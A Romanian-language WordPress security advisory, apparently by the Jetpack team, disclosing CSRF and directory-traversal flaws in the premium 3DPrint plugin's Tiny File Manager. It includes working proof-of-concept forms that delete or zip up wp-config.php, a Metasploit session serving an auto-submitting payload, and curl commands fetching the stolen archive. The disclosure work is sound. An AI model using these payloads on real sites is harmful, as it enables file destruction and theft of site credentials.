Vulnerabilități găsite în pluginul 3DPrint Premium
Publicat: 2022-12-13Versiunea premium a pluginului WordPress 3DPrint este vulnerabilă la falsificarea cererilor încrucișate (CSRF) și la atacurile de traversare a directoarelor atunci când funcționalitatea managerului de fișiere este activată. Aceste vulnerabilități permit unui atacator să șteargă sau să obțină acces la fișiere și directoare arbitrare de pe site-urile afectate, inclusiv fișiere sensibile, cum ar fi fișierele de configurare a site-ului, care din nou ar putea duce la preluarea completă a site-ului.
Recent, în timp ce analizăm unele potențiale false pozitive semnalate de semnăturile noastre experimentale, am descoperit un cod care ne-a nedumerit în pluginul premium 3DPrint.
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
Acest fragment a fost găsit în modulul PHP Tiny File Manager situat în directorul include al pluginului, dar nu se găsește în proiectul original Tiny File Manager. Pare a fi injectat cu intenția de a-l integra cu controalele de acces bazate pe rol WordPress.
Încărcarea fișierelor de cod WordPress ca acesta într-un modul care nu are legătură este de obicei un semn că ceva nu este puțin, așa că am decis să investigăm în continuare.
Cititorul atent va observa că accesul la modul este limitat la utilizatorii cu rol de Administrator, dar nu există verificări nonce. Ar fi ok dacă Tiny File Manager ar avea propria protecție CSRF, dar, deoarece nu a fost cazul, se pare că acest cod poate fi susceptibil la un atac CSRF. (De atunci, Tiny File Manager a adăugat protecție CSRF după ce i-am informat cu privire la problemă. Versiunea 2.5.0 și ulterioară ar trebui să fie mult mai sigură de utilizat!)
Un factor complicat este că Tiny File Manager nu este inclus în pachet la instalarea 3DPrint premium, dar este descărcat la cerere când este activat. Versiunea descărcată la momentul scrierii este versiunea 2.4.4, dar a fost puternic modificată de dezvoltatorii 3DPrint și este descărcată de pe domeniul lor, nu direct din depozitele Tiny File Manager.
Majoritatea modificărilor efectuate elimină funcționalitatea neutilizată de plugin, precum și alte câteva modificări, cum ar fi codificarea tare a căii, limitând ceea ce ar trebui să poată accesa managerul de fișiere. În plus, funcțiile de autentificare și autorizare încorporate în Tiny File Manager au fost dezactivate și înlocuite de integrarea de mai sus cu sistemul de rol WordPress.
Am descoperit câteva vulnerabilități în care combinația dintre controalele de acces modificate și includerea Tiny File Manager în pluginul 3DPrint devine exploatabilă pentru un atacator extern. Aceasta include ștergerea sau descărcarea fișierelor sensibile, permițând posibil preluarea completă a site-ului. Aceste vulnerabilități exploatează lipsa verificărilor nonce în controalele de acces modificate, împreună cu vulnerabilitățile de traversare a directoarelor din Tiny File Manager însuși.
Am încercat să contactăm furnizorul atât al pluginului 3DPrint, cât și al proiectului Tiny File Manager. Dintre aceștia, doar dezvoltatorii proiectului Tiny File Manager ne-au răspuns și au remediat problemele pe care le-am transmis.
Consultați noul nostru WAF ca parte a Jetpack Scan, care vă va proteja imediat împotriva acestor atacuri. Momentan este în versiune beta. Jetpack Scan va detecta, de asemenea, componenta vulnerabilă și va ajuta la eliminarea acesteia.
Deoarece modulul Tiny File Manager este descărcat și instalat la cerere, nu există neapărat o corespondență între versiunea pluginului și versiunea Tiny File Manager utilizată. Cu toate acestea, odată instalat, nu pare să existe o modalitate ușoară de a actualiza modulul Tiny File Manager, în afară de ștergerea manuală și activarea din nou.
Din acest motiv, considerăm că toate versiunile de 3DPrint sunt vulnerabile la vulnerabilitățile de mai jos dacă managerul de fișiere a fost activat.
Vulnerabilitățile
1. CSRF care duce la ștergerea arbitrară a fișierului/directorului
- Plugin: 3DPrint
- Plugin slug: 3dprint
- URI plugin: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiuni vulnerabile: toate
- Versiune fixă: niciuna
- Scor CVSS: 8,2 (Ridicat, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- CVE: CVE-2022-3899
Funcționalitatea de ștergere în masă din versiunea inclusă a Tiny File Manager (versiunea 2.4.4) nu este protejată corespunzător împotriva traversării directoarelor și, de asemenea, nu are protecție CSRF. Acest lucru permite unui atacator să păcălească un administrator pentru a șterge mai multe fișiere sau chiar directoare de pe server în mod recursiv.
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
Acest lucru poate fi exploatat prin trecerea group
și delete
parametrilor POST la orice valoare și prin trecerea unei matrice de fișiere/directoare de șters în parametrul file
. Variabila $new_path
este o simplă concatenare a FM_ROOT_PATH
și a transmis în nume de fișier, transmisă funcției recursive de ștergere fm_rdelete()
. Deoarece fm_rdelete()
nu validează căile pe care le-a dat, acest lucru face acest cod vulnerabil la un atac de traversare a directoarelor.
Iată un exemplu de dovadă de concept:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
Toate căile sunt relative la directorul wp-content/uploads/p3d/
de pe server. Când orice administrator conectat face clic pe butonul pentru a se îmbogăți, încărcările sale din 2020 vor fi șterse împreună cu fișierul site-uri wp-config.php
.
2. CSRF care duce la descărcări arbitrare
- Plugin: 3DPrint
- Plugin slug: 3dprint
- URI plugin: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiuni vulnerabile: toate
- Versiune fixă: niciuna
- Scor CVSS: 7,4 (Ridicat, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE: CVE-2022-4023
Funcționalitatea din versiunea inclusă a Tiny File Manager (versiunea 2.4.4) de a descărca o arhivă zip sau tar a fișierelor selectate nu este protejată împotriva traversării directoarelor și nu are protecție CSRF. Acest lucru permite unui atacator să păcălească un administrator să creeze o arhivă zip sau tar cu fișiere și directoare arbitrare de pe site, inclusiv fișiere de configurare sau alt conținut sensibil.
Arhiva este plasată în directorul normal de încărcare 3DPring, wp-content/uploads/p3d/
. Numele fișierului este controlabil doar parțial de către atacator, dar este suficient de previzibil încât ar trebui să fie relativ ușor de utilizat cu forța brută. Dacă știu la ce oră a fost trimisă cererea falsificată, ar trebui să fie, de asemenea, banal să faci o ghicire educată.
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
Prin trimiterea unei cereri de post cu group
și fie variabilele zip
sau tar
setate la orice valoare, se va crea o arhivă cu fișierele specificate în parametrul file
. Data și ora curentă vor fi atașate la numele fișierului pentru arhivă, care va avea același nume de bază ca fișierul arhivat sau „arhivă” dacă mai multe fișiere sunt arhivate împreună. Arhiva va fi creată în directorul de încărcare 3DPrint, dar numele căilor fișierelor nu sunt igienizate și pot conține căi în afara acestui director, făcându-l vulnerabil la atacurile de traversare a directoarelor.
Pentru a exploata această vulnerabilitate, am creat un modul simplu de sarcină utilă pentru Metasploit, care servește ca formular de auto-trimitere cu încărcătura utilă rău intenționată către site-ul vulnerabil. Sarcina utilă de dovadă a conceptului trimisă a fost:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Deoarece modulul Metasploit ar înregistra marcajul de timp al trimiterii formularului, aceasta a făcut mai ușor să ghiciți numele corect al fișierului pentru arhiva creată.
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
Observați cum putem deduce numele de fișier al arhivei generate din marcajul de timp al cererii. În acest caz, containerul serverului rulează un fus orar în spatele fusului orar local.
Recomandări
Deoarece versiunea managerului de fișiere instalată este independentă de versiunea pluginului instalat, nu putem recomanda o versiune fixă a pluginului.
Nici nu am găsit o modalitate ușoară de a actualiza modulul manager de fișiere dacă o nouă versiune este lansată la o dată ulterioară.
Din acest motiv, considerăm vulnerabile toate versiunile pluginului premium 3DPrint dacă componenta manager de fișiere este activată.
Recomandarea noastră este să vă asigurați că modulul manager de fișiere este dezactivat și că fișierul este eliminat de pe site.
Cel mai simplu mod este să ștergeți fișierul wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
dacă acesta există.
Concluzii
Toate versiunile pluginului premium 3DPrint sunt vulnerabile la atacurile CSRF și de traversare a directoarelor dacă modulul manager de fișiere este activat pe site. Acest lucru nu afectează versiunea gratuită a pluginului descărcat din depozitul de pluginuri WordPress.org.
La Jetpack, muncim din greu pentru a ne asigura că site-urile dvs. sunt protejate de aceste tipuri de vulnerabilități. Vă recomandăm să aveți un plan de securitate pentru site-ul dvs. care să includă scanarea fișierelor rău intenționate și backup-uri. Pachetul Jetpack Security este o opțiune excelentă de securitate WordPress pentru a vă asigura că site-ul și vizitatorii sunt în siguranță. Acest produs include scanarea în timp real a programelor malware, backup-uri ale site-ului, protecție împotriva comentariilor și formularelor de spam de la Akismet, protecție împotriva atacurilor de forță brută și multe altele.
credite
Cercetare realizată de Harald Eilertsen, cu feedback și corecții furnizate de Benedict Singer, Rob Pugh, Jen Swisher și echipa Jetpack Scan.
Cronologie
- 2022-09-08: Am fost anunțați despre constatare și am început investigarea
- 2022-10-25: Furnizorul a fost contactat prima dată
- 2022-11-01: Furnizorul a fost contactat a doua oară printr-un alt canal
- 2022-11-08: Vulnerabilitatea de ștergere în masă a fost dezvăluită (CVE-2022-3899)
- 15.11.2022: Am contactat dezvoltatorii Tiny File Manager despre lipsa protecției CSRF și despre vulnerabilitățile de traversare a directoarelor.
- 2022-11-19: Tiny File Manager 2.5.0 a fost lansat, remediază problemele CSRF, dar nu și problemele de traversare a directorului.
- 2022-12-13: Dezvăluire publică